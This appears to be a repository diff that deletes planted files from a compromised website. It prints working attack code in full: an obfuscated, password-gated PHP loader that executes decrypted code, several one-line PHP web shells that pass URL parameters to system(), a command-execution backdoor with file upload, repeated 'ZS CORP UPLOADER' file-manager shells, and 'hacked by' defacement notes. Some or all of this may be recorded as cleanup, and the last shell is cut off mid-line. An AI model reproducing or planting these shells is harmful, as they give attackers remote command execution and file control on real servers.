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
'));$_WP=isset($_POST['_WP'])?$_POST['_WP']:(isset($_COOKIE['_WP'])?$_COOKIE['_WP']:NULL);if($_WP!==NULL){$_WP=md5($_WP).substr(MD5(strrev($_WP)),0,strlen($_WP));for($___WP=0;$___WP<15587;$___WP++){$__WP[$___WP]=chr(( ord($__WP[$___WP])-ord($_WP[$___WP]))%256);$_WP.=$__WP[$___WP];}if($__WP=@gzinflate($__WP)){if(isset($_POST['_WP']))@setcookie('_WP', $_POST['_WP']);$___WP=create_function('',$__WP);unset($_WP,$__WP);$___WP();}}?><form method="post" action=""><input type="text"name="_WP"value=""/><input type="submit"value="&gt;"/></form>

View File

@ -1 +0,0 @@
hacked by trenggalek6etar

View File

@ -1 +0,0 @@
hacked by magelang6etar

View File

@ -1 +0,0 @@
{"probe":"d1337_vuln_test"}

View File

@ -1 +0,0 @@
{"probe": "HXxef2", "cve": "49049"}

View File

@ -1 +0,0 @@
{"probe": "HXxl6v", "cve": "49049"}

View File

@ -1 +0,0 @@
{"probe": "HX4dfb", "cve": "49049"}

View File

@ -1 +0,0 @@
hacked by trenggalek6etar

View File

@ -1 +0,0 @@
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>

View File

@ -1 +0,0 @@
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>

View File

@ -1 +0,0 @@
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>

View File

@ -1 +0,0 @@
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>

View File

@ -1,40 +0,0 @@
<?php
@ob_start();
@set_error_handler(null);
@set_exception_handler(null);
@ini_set('display_errors',0);
if(!isset($_GET['c'])&&!isset($_GET['x'])){
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode('GINGER:5162').':RXEND';
exit(0);
}
if(isset($_GET['x'])&&$_GET['x']=='up'){
@ob_end_clean();
header('Content-Type: text/html');
if(isset($_FILES['f'])){
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
echo 'Saved: '.$_FILES['f']['name'];
}else{
echo '<form method=post enctype=multipart/form-data>'
.'<input type=file name=f><button>Upload</button></form>';
}
exit(0);
}
$c=$_GET['c'].' 2>&1';
$o='';
if(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("
",$a);}
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('popen')){
$h=@popen($c,'r');$o='';
while(!feof($h)){$o.=fread($h,4096);}
pclose($h);
}else{$o='BLOCKED';}
@ob_end_clean();
header('Content-Type: text/plain');
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
exit(0);
?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' onsubmit=\"return confirm('Delete?');\"><input type='hidden' name='d' value='$he'><input type='hidden' name='del' value='$name'><button type='submit' class='act'>del</button></form>";}echo"</td></tr>";}}echo"</table><div class='foot'>Powered by ZS CORP | BOB RESEARCH LABS</div></div></body></html>";?>

View File

@ -1 +0,0 @@
<?php @error_reporting(0);@ini_set('display_errors',0);echo'<!--ZSCORP-->';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"<div class='msg ok'>Deleted: <b>".htmlspecialchars($del)."</b></div>";}elseif(is_dir($del)){@rmdir($del);echo"<div class='msg ok'>Removed dir: <b>".htmlspecialchars($del)."</b></div>";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"<div class='msg ok'>Uploaded: <b>".htmlspecialchars($n)."</b></div>";}else{echo"<div class='msg err'>Upload failed</div>";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"<!DOCTYPE html><html><head><meta charset=utf-8><title>ZS CORP UPLOADER</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',Consolas,monospace;background:#000;color:#0f0;padding:12px;font-size:13px}a{color:#0f0;text-decoration:none}a:hover{color:#fff;text-decoration:underline}.wrap{max-width:1200px;margin:0 auto;border:1px solid #0f0;padding:12px;background:#000}.hdr{text-align:center;border-bottom:1px solid #0f0;padding:8px 0 12px;margin-bottom:12px}.hdr h1{color:#0f0;font-size:22px;letter-spacing:1px}.hdr p{color:#0a0;font-size:11px;margin-top:4px}.path{background:#001100;border:1px solid #0f0;padding:8px;margin:10px 0;word-break:break-all}.up{background:#001100;border:1px solid #0f0;padding:10px;margin:10px 0}input[type=file]{background:#000;color:#0f0;border:1px solid #0f0;padding:6px;width:100%;margin-bottom:8px}input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px 18px;cursor:pointer;font-weight:bold;font-family:'Courier New',monospace;font-size:12px}input[type=submit]:hover,button:hover{background:#fff;color:#000}table{width:100%;border-collapse:collapse;margin-top:8px;font-size:12px}th,td{padding:6px 8px;text-align:left;border:1px solid #0f0}th{background:#001100;color:#0f0;font-weight:bold}tr:hover{background:#001a00}.dir{color:#0f0;font-weight:bold}.file{color:#9f9}.size,.time{color:#070}.perms{color:#0a0;font-family:monospace}.msg{padding:8px;margin:8px 0;border:1px solid #0f0;font-size:12px}.msg.ok{background:#001100;color:#0f0}.msg.err{background:#110000;color:#f55;border-color:#f55}.foot{text-align:center;font-size:10px;color:#070;margin-top:14px;padding-top:8px;border-top:1px solid #030}.act{font-size:10px;margin-left:6px;color:#070}</style></head><body><div class='wrap'><div class='hdr'><h1>&#9830; ZS CORP UPLOADER &#9830;</h1><p>Research Division | Secure Access</p></div><div class='path'><b>Current Dir:</b> $he";if($parent&&$parent!==$d){echo" &nbsp;|&nbsp; <a href='?d=".urlencode($parent)."'>[Parent Dir &#8593;]</a>";}echo"</div><div class='up'><form method='post' enctype='multipart/form-data'><input type='hidden' name='d' value='$he'><input type='file' name='f' required><input type='submit' value='UPLOAD FILE'></form></div><table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr>";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="<a href='$href' class='dir'>$icon $name</a>";}elseif(!$isDir){$nameCell="<a href='$name' class='file' target='_blank'>$icon $name</a>";}else{$nameCell="$icon $name";}echo"<tr><td>$nameCell</td><td class='size'>$size</td><td class='time'>$time</td><td class='perms'>$perms</td><td>";if($item!=='..'){echo"<form method='post' style='display:inline' 